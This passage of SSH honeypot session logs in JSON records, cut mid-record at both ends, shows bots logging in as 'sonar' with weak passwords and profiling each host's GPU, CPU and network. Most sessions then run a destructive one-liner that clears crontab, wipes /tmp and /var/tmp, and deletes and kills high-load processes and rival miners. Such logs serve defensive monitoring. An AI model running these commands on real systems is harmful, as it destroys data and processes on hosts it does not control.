NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:04:29.820235+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:04:35.373316+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:04:35.607429+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:04:39.118434+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:04:39.303495+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:04:45.089545+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:04:45.311188+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:04:48.065361+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:04:48.309452+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:04:52.369142+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:04:52.619100+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:04:58.359175+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:04:58.624420+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:05:02.370071+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:05:02.597139+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:05:05.813387+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"d89dfa81-6606-4f97-9ac2-17ab69bc010a","name":"brazen-zealous-bunting","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":35626,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T09:00:43.023598+00:00","ended_at":"2026-08-24T09:00:45.286285+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"f4864e52-0a7e-4bbd-bdd8-4966844496bc","name":"brazen-supple-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":46578,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":233,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:00:39.252509+00:00","ended_at":"2026-08-24T09:00:45.287432+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-24T08:59:47.108602+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T08:59:49.882046+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T08:59:50.109665+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T08:59:53.533202+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T08:59:53.804709+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T08:59:57.135200+00:00","kind":"output","latency_ms":null,"data":"4 days,  5:50"},{"seq":7,"at":"2026-08-24T08:59:57.403125+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:00:01.009445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:00:01.304133+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:00:06.166108+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:00:06.333862+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:00:10.945359+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:00:11.251353+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:00:15.983227+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:00:16.208191+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:00:19.349016+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:00:19.520962+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:00:24.348412+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:00:24.515481+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:00:28.741923+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:00:28.927719+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:00:32.065456+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:00:32.629302+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:00:35.672299+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T09:00:35.906153+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T09:00:39.253468+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"34ef2132-44d8-407d-bd2c-6a2f2c0b7fb4","name":"wooded-feathered-dipper","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.124","src_port":55824,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-22T12:39:04.850508+00:00","ended_at":"2026-08-22T12:39:14.052458+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"756e6861-e25e-465c-af5e-c7f4efd01649","name":"placid-faded-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.124","src_port":45582,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":827,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T12:38:57.933942+00:00","ended_at":"2026-08-22T12:39:14.053024+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-22T12:37:50.318116+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T12:37:56.319897+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T12:37:57.222632+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T12:38:01.160332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T12:38:01.692376+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T12:38:04.500707+00:00","kind":"output","latency_ms":null,"data":"2 days,  9:28"},{"seq":7,"at":"2026-08-22T12:38:05.458256+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T12:38:08.604581+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T12:38:09.433109+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T12:38:14.419493+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T12:38:15.086128+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T12:38:19.977310+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T12:38:21.320780+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T12:38:25.677522+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T12:38:25.890557+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T12:38:30.175311+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T12:38:30.507185+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T12:38:35.652994+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T12:38:36.119753+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T12:38:41.235178+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T12:38:41.857182+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T12:38:45.628295+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T12:38:46.631070+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T12:38:52.215970+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T12:38:53.260493+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T12:38:57.934740+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"8ff21338-8e2b-41cc-8c12-adc70eeb9303","name":"genial-creaky-gazelle","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.120","src_port":58894,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-22T12:03:30.749504+00:00","ended_at":"2026-08-22T12:03:32.922205+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"3476d722-5222-4d34-a9e4-3a998e95bd1e","name":"icy-lucid-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.120","src_port":47094,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":287,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T12:03:26.105582+00:00","ended_at":"2026-08-22T12:03:32.920787+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-22T12:02:20.133772+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T12:02:24.295304+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T12:02:24.466577+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T12:02:28.863620+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T12:02:29.284128+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T12:02:34.494303+00:00","kind":"output","latency_ms":null,"data":"2 days,  8:52"},{"seq":7,"at":"2026-08-22T12:02:34.782349+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T12:02:39.701857+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T12:02:39.873088+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T12:02:44.438250+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T12:02:45.165165+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T12:02:51.030651+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T12:02:51.630352+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T12:02:57.436004+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T12:02:58.047247+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T12:03:03.824848+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T12:03:04.055243+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T12:03:07.056493+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T12:03:07.286345+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T12:03:11.250739+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T12:03:11.520295+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T12:03:14.903804+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T12:03:15.120383+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T12:03:20.095326+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T12:03:20.507953+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T12:03:26.106211+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"5cfcde37-ebae-4f7b-a7a3-96e6026c2e87","name":"mellow-regal-goldcrest","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":56936,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":229,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T12:54:05.823592+00:00","ended_at":"2026-08-21T12:54:09.133815+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1657,"events":[{"seq":1,"at":"2026-08-21T12:53:05.591971+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T12:53:10.121684+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T12:53:10.341047+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T12:53:13.004264+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T12:53:13.175025+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T12:53:17.910401+00:00","kind":"output","latency_ms":null,"data":"1 day,  9:43"},{"seq":7,"at":"2026-08-21T12:53:18.327426+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T12:53:22.809605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T12:53:23.019285+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T12:53:28.638562+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T12:53:28.833324+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T12:53:33.192316+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T12:53:33.496368+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T12:53:36.930059+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T12:53:37.187910+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T12:53:42.066055+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T12:53:42.295444+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T12:53:48.018135+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T12:53:48.316101+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T12:53:52.780673+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T12:53:52.945007+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T12:53:57.362605+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T12:53:57.824855+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T12:54:02.260257+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T12:54:02.471169+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T12:54:05.824302+00:00","kind":"input","latency_ms":null,"data":"echo sonar > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"sonar","method":"password","accepted":true,"tier":"other"}]}
{"id":"f13f09d7-b2d3-4623-9cff-0a2adacef8b2","name":"courtly-zealous-roebuck","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":57984,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T19:47:36.033392+00:00","ended_at":"2026-08-20T19:47:37.658489+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"sonar","method":"password","accepted":true,"tier":"other"}]}
{"id":"15d8f656-1ef2-41a1-b124-b193a7f71aa3","name":"blunt-northern-bittern","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":56718,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":219,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:47:31.428063+00:00","ended_at":"2026-08-20T19:47:37.655546+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1650,"events":[{"seq":1,"at":"2026-08-20T19:46:31.477255+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T19:46:37.289864+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T19:46:37.475150+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T19:46:41.790660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T19:46:42.009842+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T19:46:45.021774+00:00","kind":"output","latency_ms":null,"data":"16:36"},{"seq":7,"at":"2026-08-20T19:46:45.277719+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T19:46:49.454521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T19:46:49.661352+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T19:46:55.129180+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T19:46:55.309056+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T19:47:00.784670+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T19:47:00.966344+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T19:47:05.172796+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T19:47:05.476863+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T19:47:10.388041+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T19:47:10.735900+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T19:47:14.515919+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T19:47:14.702607+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T19:47:20.337135+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T19:47:20.652694+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf 